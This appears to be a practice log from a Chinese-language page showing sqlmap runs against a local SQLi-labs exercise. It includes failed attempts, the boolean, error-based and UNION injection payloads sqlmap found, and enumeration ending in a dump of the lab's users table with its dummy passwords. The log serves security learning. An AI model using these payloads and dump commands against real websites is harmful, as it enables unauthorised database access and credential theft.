点击查看代码
Microsoft Windows [版本 10.0.22000.1696]
(c) Microsoft Corporation。保留所有权利。
E:\python\python3.7.8\sqlmapproject-sqlmap-257c4d1>sqlmap.py -u 'http://localhost/sqli/Less-1/?id' --dbs
___
__H__
___ ___[,]_____ ___ ___ {1.7.3.4#dev}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:57:40 /2023-04-12/
[18:57:43] [CRITICAL] invalid target URL
[*] ending @ 18:57:43 /2023-04-12/
E:\python\python3.7.8\sqlmapproject-sqlmap-257c4d1>sqlmap.py -u 'http://localhost/sqli/Less-1/?id=' --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.7.3.4#dev}
|_ -| . ["] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:57:49 /2023-04-12/
[18:57:50] [CRITICAL] invalid target URL
[*] ending @ 18:57:50 /2023-04-12/
E:\python\python3.7.8\sqlmapproject-sqlmap-257c4d1>sqlmap.py -u 'http://localhost/sqli/Less-1/?id=1' --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.7.3.4#dev}
|_ -| . [.] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:58:12 /2023-04-12/
[18:58:13] [CRITICAL] invalid target URL
[*] ending @ 18:58:13 /2023-04-12/
E:\python\python3.7.8\sqlmapproject-sqlmap-257c4d1>sqlmap.py -u http://localhost/sqli/Less-1/?id=1 --dbs
___
__H__
___ ___[']_____ ___ ___ {1.7.3.4#dev}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:58:23 /2023-04-12/
[18:58:24] [INFO] testing connection to the target URL
[18:58:26] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:58:26] [INFO] testing if the target URL content is stable
[18:58:28] [INFO] target URL content is stable
[18:58:28] [INFO] testing if GET parameter 'id' is dynamic
[18:58:28] [INFO] GET parameter 'id' appears to be dynamic
[18:58:30] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[18:58:30] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[18:58:30] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] N
[18:58:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:58:50] [WARNING] reflective value(s) found and filtering out
[18:58:54] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Your")
[18:58:54] [INFO] testing 'Generic inline queries'
[18:58:56] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:58:56] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable
[18:58:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:58:56] [WARNING] time-based comparison requires larger statistical model, please wait.............. (done)
[18:59:10] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[18:59:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:59:17] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:59:19] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:59:23] [INFO] target URL appears to have 3 columns in query
[18:59:29] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8300=8300 AND 'GZdr'='GZdr
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=1' AND EXTRACTVALUE(1677,CONCAT(0x5c,0x7178716b71,(SELECT (ELT(1677=1677,1))),0x7176766b71)) AND 'Dwys'='Dwys
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-7576' UNION ALL SELECT NULL,NULL,CONCAT(0x7178716b71,0x725257776c426d626c41454e616b466d78707463676862585664416b6462635a4a494c4b4f455451,0x7176766b71)-- -
---
[18:59:40] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.9, Nginx 1.15.11
back-end DBMS: MySQL >= 5.1
[18:59:47] [INFO] fetching database names
available databases [7]:
[*] challenges
[*] dr0sedb
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] sys
[18:59:47] [INFO] fetched data logged to text files under 'C:\Users\27218\AppData\Local\sqlmap\output\localhost'
[*] ending @ 18:59:47 /2023-04-12/
E:\python\python3.7.8\sqlmapproject-sqlmap-257c4d1>sqlmap.py -u http://localhost/sqli/Less-1/?id -D security --tables
___
__H__
___ ___["]_____ ___ ___ {1.7.3.4#dev}
|_ -| . ['] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:00:26 /2023-04-12/
[19:00:27] [INFO] resuming back-end DBMS 'mysql'
[19:00:27] [INFO] testing connection to the target URL
[19:00:29] [INFO] testing if the target URL content is stable
[19:00:31] [INFO] target URL content is stable
[19:00:31] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')
[*] ending @ 19:00:31 /2023-04-12/
E:\python\python3.7.8\sqlmapproject-sqlmap-257c4d1>sqlmap.py -u http://localhost/sqli/Less-1/?id=1 -D security --tables
___
__H__
___ ___[.]_____ ___ ___ {1.7.3.4#dev}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:00:38 /2023-04-12/
[19:00:39] [INFO] resuming back-end DBMS 'mysql'
[19:00:39] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8300=8300 AND 'GZdr'='GZdr
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=1' AND EXTRACTVALUE(1677,CONCAT(0x5c,0x7178716b71,(SELECT (ELT(1677=1677,1))),0x7176766b71)) AND 'Dwys'='Dwys
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-7576' UNION ALL SELECT NULL,NULL,CONCAT(0x7178716b71,0x725257776c426d626c41454e616b466d78707463676862585664416b6462635a4a494c4b4f455451,0x7176766b71)-- -
---
[19:00:41] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.15.11, PHP 5.6.9
back-end DBMS: MySQL >= 5.1
[19:00:41] [INFO] fetching tables for database: 'security'
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
[19:00:41] [INFO] fetched data logged to text files under 'C:\Users\27218\AppData\Local\sqlmap\output\localhost'
[*] ending @ 19:00:41 /2023-04-12/
E:\python\python3.7.8\sqlmapproject-sqlmap-257c4d1>sqlmap.py -u http://localhost/sqli/Less-1/?id=1 -D security -T users --columns
___
__H__
___ ___[.]_____ ___ ___ {1.7.3.4#dev}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:01:22 /2023-04-12/
[19:01:23] [INFO] resuming back-end DBMS 'mysql'
[19:01:23] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8300=8300 AND 'GZdr'='GZdr
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=1' AND EXTRACTVALUE(1677,CONCAT(0x5c,0x7178716b71,(SELECT (ELT(1677=1677,1))),0x7176766b71)) AND 'Dwys'='Dwys
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-7576' UNION ALL SELECT NULL,NULL,CONCAT(0x7178716b71,0x725257776c426d626c41454e616b466d78707463676862585664416b6462635a4a494c4b4f455451,0x7176766b71)-- -
---
[19:01:25] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.9, Nginx 1.15.11
back-end DBMS: MySQL >= 5.1
[19:01:25] [INFO] fetching columns for table 'users' in database 'security'
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
[19:01:25] [INFO] fetched data logged to text files under 'C:\Users\27218\AppData\Local\sqlmap\output\localhost'
[*] ending @ 19:01:25 /2023-04-12/
E:\python\python3.7.8\sqlmapproject-sqlmap-257c4d1>sqlmap.py -u http://localhost/sqli/Less-1/?id=1 -D security -T users -C "id ,username,password" --dump
___
__H__
___ ___["]_____ ___ ___ {1.7.3.4#dev}
|_ -| . [,] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:01:58 /2023-04-12/
[19:01:58] [INFO] resuming back-end DBMS 'mysql'
[19:01:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8300=8300 AND 'GZdr'='GZdr
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=1' AND EXTRACTVALUE(1677,CONCAT(0x5c,0x7178716b71,(SELECT (ELT(1677=1677,1))),0x7176766b71)) AND 'Dwys'='Dwys
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-7576' UNION ALL SELECT NULL,NULL,CONCAT(0x7178716b71,0x725257776c426d626c41454e616b466d78707463676862585664416b6462635a4a494c4b4f455451,0x7176766b71)-- -
---
[19:02:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.15.11, PHP 5.6.9
back-end DBMS: MySQL >= 5.1
[19:02:00] [INFO] fetching entries of column(s) 'id,password,username' for table 'users' in database 'security'
Database: security
Table: users
[13 entries]
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
[19:02:00] [INFO] table 'security.users' dumped to CSV file 'C:\Users\27218\AppData\Local\sqlmap\output\localhost\dump\security\users.csv'
[19:02:00] [INFO] fetched data logged to text files under 'C:\Users\27218\AppData\Local\sqlmap\output\localhost'
[*] ending @ 19:02:00 /2023-04-12/
E:\python\python3.7.8\sqlmapproject-sqlmap-257c4d1>